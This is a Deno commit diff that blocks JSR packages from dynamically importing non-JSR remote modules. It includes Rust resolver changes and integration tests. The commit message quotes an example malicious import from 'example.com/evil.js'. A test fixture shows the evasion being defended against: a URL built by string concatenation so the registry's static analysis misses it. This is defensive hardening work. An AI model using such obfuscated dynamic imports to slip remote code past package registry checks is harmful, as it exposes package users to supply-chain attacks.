0
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2025-03-03 17:34:47 -05:00

fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)

A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
This commit is contained in:
David Sherret 2024-02-28 16:30:45 -05:00 committed by GitHub
parent f54acb53ed
commit 918c5e648f
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
10 changed files with 155 additions and 79 deletions

View file

@ -1,5 +1,6 @@
// Copyright 2018-2024 the Deno authors. All rights reserved. MIT license. // Copyright 2018-2024 the Deno authors. All rights reserved. MIT license.
use crate::args::jsr_url;
use crate::args::CliOptions; use crate::args::CliOptions;
use crate::args::DenoSubcommand; use crate::args::DenoSubcommand;
use crate::args::TsTypeLib; use crate::args::TsTypeLib;
@ -24,6 +25,7 @@ use crate::worker::ModuleLoaderFactory;
use deno_ast::MediaType; use deno_ast::MediaType;
use deno_core::anyhow::anyhow; use deno_core::anyhow::anyhow;
use deno_core::anyhow::bail;
use deno_core::anyhow::Context; use deno_core::anyhow::Context;
use deno_core::error::custom_error; use deno_core::error::custom_error;
use deno_core::error::generic_error; use deno_core::error::generic_error;
@ -478,13 +480,28 @@ impl CliModuleLoader {
&code_source.found_url, &code_source.found_url,
)) ))
} }
}
impl ModuleLoader for CliModuleLoader { fn resolve_referrer(
fn resolve( &self,
referrer: &str,
) -> Result<ModuleSpecifier, AnyError> {
// TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each
// call - maybe it should be caller's responsibility to pass it as an arg?
let cwd = std::env::current_dir().context("Unable to get CWD")?;
if referrer.is_empty() && self.shared.is_repl {
// FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL
// and `Deno.core.evalContext` API. Ideally we should always have a referrer filled
// but sadly that's not the case due to missing APIs in V8.
deno_core::resolve_path("./$deno$repl.ts", &cwd).map_err(|e| e.into())
} else {
deno_core::resolve_url_or_path(referrer, &cwd).map_err(|e| e.into())
}
}
fn inner_resolve(
&self, &self,
specifier: &str, specifier: &str,
referrer: &str, referrer: &ModuleSpecifier,
kind: ResolutionKind, kind: ResolutionKind,
) -> Result<ModuleSpecifier, AnyError> { ) -> Result<ModuleSpecifier, AnyError> {
let permissions = if matches!(kind, ResolutionKind::DynamicImport) { let permissions = if matches!(kind, ResolutionKind::DynamicImport) {
@ -493,84 +510,66 @@ impl ModuleLoader for CliModuleLoader {
&self.root_permissions &self.root_permissions
}; };
// TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
// call - maybe it should be caller's responsibility to pass it as an arg? specifier,
let cwd = std::env::current_dir().context("Unable to get CWD")?; referrer,
let referrer_result = deno_core::resolve_url_or_path(referrer, &cwd); permissions,
) {
if let Ok(referrer) = referrer_result.as_ref() { return result;
if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
specifier,
referrer,
permissions,
) {
return result;
}
let graph = self.shared.graph_container.graph();
let maybe_resolved = match graph.get(referrer) {
Some(Module::Js(module)) => {
module.dependencies.get(specifier).map(|d| &d.maybe_code)
}
_ => None,
};
match maybe_resolved {
Some(Resolution::Ok(resolved)) => {
let specifier = &resolved.specifier;
return match graph.get(specifier) {
Some(Module::Npm(module)) => {
let package_folder = self
.shared
.node_resolver
.npm_resolver
.as_managed()
.unwrap() // byonm won't create a Module::Npm
.resolve_pkg_folder_from_deno_module(
module.nv_reference.nv(),
)?;
self
.shared
.node_resolver
.resolve_package_sub_path(
&package_folder,
module.nv_reference.sub_path(),
referrer,
permissions,
)
.with_context(|| {
format!("Could not resolve '{}'.", module.nv_reference)
})
}
Some(Module::Node(module)) => Ok(module.specifier.clone()),
Some(Module::Js(module)) => Ok(module.specifier.clone()),
Some(Module::Json(module)) => Ok(module.specifier.clone()),
Some(Module::External(module)) => {
Ok(node::resolve_specifier_into_node_modules(&module.specifier))
}
None => Ok(specifier.clone()),
};
}
Some(Resolution::Err(err)) => {
return Err(custom_error(
"TypeError",
format!("{}\n", err.to_string_with_range()),
))
}
Some(Resolution::None) | None => {}
}
} }
// FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL let graph = self.shared.graph_container.graph();
// and `Deno.core.evalContext` API. Ideally we should always have a referrer filled let maybe_resolved = match graph.get(referrer) {
// but sadly that's not the case due to missing APIs in V8. Some(Module::Js(module)) => {
let referrer = if referrer.is_empty() && self.shared.is_repl { module.dependencies.get(specifier).map(|d| &d.maybe_code)
deno_core::resolve_path("./$deno$repl.ts", &cwd)? }
} else { _ => None,
referrer_result?
}; };
match maybe_resolved {
Some(Resolution::Ok(resolved)) => {
let specifier = &resolved.specifier;
let specifier = match graph.get(specifier) {
Some(Module::Npm(module)) => {
let package_folder = self
.shared
.node_resolver
.npm_resolver
.as_managed()
.unwrap() // byonm won't create a Module::Npm
.resolve_pkg_folder_from_deno_module(module.nv_reference.nv())?;
self
.shared
.node_resolver
.resolve_package_sub_path(
&package_folder,
module.nv_reference.sub_path(),
referrer,
permissions,
)
.with_context(|| {
format!("Could not resolve '{}'.", module.nv_reference)
})?
}
Some(Module::Node(module)) => module.specifier.clone(),
Some(Module::Js(module)) => module.specifier.clone(),
Some(Module::Json(module)) => module.specifier.clone(),
Some(Module::External(module)) => {
node::resolve_specifier_into_node_modules(&module.specifier)
}
None => specifier.clone(),
};
return Ok(specifier);
}
Some(Resolution::Err(err)) => {
return Err(custom_error(
"TypeError",
format!("{}\n", err.to_string_with_range()),
))
}
Some(Resolution::None) | None => {}
}
// FIXME(bartlomieju): this is another hack way to provide NPM specifier // FIXME(bartlomieju): this is another hack way to provide NPM specifier
// support in REPL. This should be fixed. // support in REPL. This should be fixed.
let resolution = self.shared.resolver.resolve( let resolution = self.shared.resolver.resolve(
@ -596,7 +595,7 @@ impl ModuleLoader for CliModuleLoader {
return self.shared.node_resolver.resolve_req_reference( return self.shared.node_resolver.resolve_req_reference(
&reference, &reference,
permissions, permissions,
&referrer, referrer,
); );
} }
} }
@ -604,6 +603,33 @@ impl ModuleLoader for CliModuleLoader {
resolution.map_err(|err| err.into()) resolution.map_err(|err| err.into())
} }
}
impl ModuleLoader for CliModuleLoader {
fn resolve(
&self,
specifier: &str,
referrer: &str,
kind: ResolutionKind,
) -> Result<ModuleSpecifier, AnyError> {
fn ensure_not_jsr_non_jsr_remote_import(
specifier: &ModuleSpecifier,
referrer: &ModuleSpecifier,
) -> Result<(), AnyError> {
if referrer.as_str().starts_with(jsr_url().as_str())
&& !specifier.as_str().starts_with(jsr_url().as_str())
&& matches!(specifier.scheme(), "http" | "https")
{
bail!("Importing {} blocked. JSR packages cannot import non-JSR remote modules for security reasons.", specifier);
}
Ok(())
}
let referrer = self.resolve_referrer(referrer)?;
let specifier = self.inner_resolve(specifier, &referrer, kind)?;
ensure_not_jsr_non_jsr_remote_import(&specifier, &referrer)?;
Ok(specifier)
}
fn load( fn load(
&self, &self,

View file

@ -60,6 +60,22 @@ itest!(deps_info {
http_server: true, http_server: true,
}); });
itest!(import_https_url_analyzable {
args: "run -A jsr/import_https_url/analyzable.ts",
output: "jsr/import_https_url/analyzable.out",
envs: env_vars_for_jsr_tests(),
http_server: true,
exit_code: 1,
});
itest!(import_https_url_unanalyzable {
args: "run -A jsr/import_https_url/unanalyzable.ts",
output: "jsr/import_https_url/unanalyzable.out",
envs: env_vars_for_jsr_tests(),
http_server: true,
exit_code: 1,
});
itest!(subset_type_graph { itest!(subset_type_graph {
args: "check --all jsr/subset_type_graph/main.ts", args: "check --all jsr/subset_type_graph/main.ts",
output: "jsr/subset_type_graph/main.check.out", output: "jsr/subset_type_graph/main.check.out",

View file

@ -0,0 +1,8 @@
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts
Download http://localhost:4545/welcome.ts
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
await import("http://localhost:4545/welcome.ts");
^
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1

View file

@ -0,0 +1 @@
import "jsr:@denotest/import-https-url/analyzable";

View file

@ -0,0 +1,7 @@
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
await import(nonAnalyzableUrl());
^
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts:5:1

View file

@ -0,0 +1 @@
import "jsr:@denotest/import-https-url/unanalyzable";

View file

@ -0,0 +1 @@
await import("http://localhost:4545/welcome.ts");

View file

@ -0,0 +1,5 @@
function nonAnalyzableUrl() {
return "http://localhost:4545/" + "welcome.ts";
}
await import(nonAnalyzableUrl());

View file

@ -0,0 +1,6 @@
{
"exports": {
"./unanalyzable": "./unanalyzable.ts",
"./analyzable": "./analyzable.ts"
}
}

View file

@ -0,0 +1,5 @@
{
"versions": {
"1.0.0": {}
}
}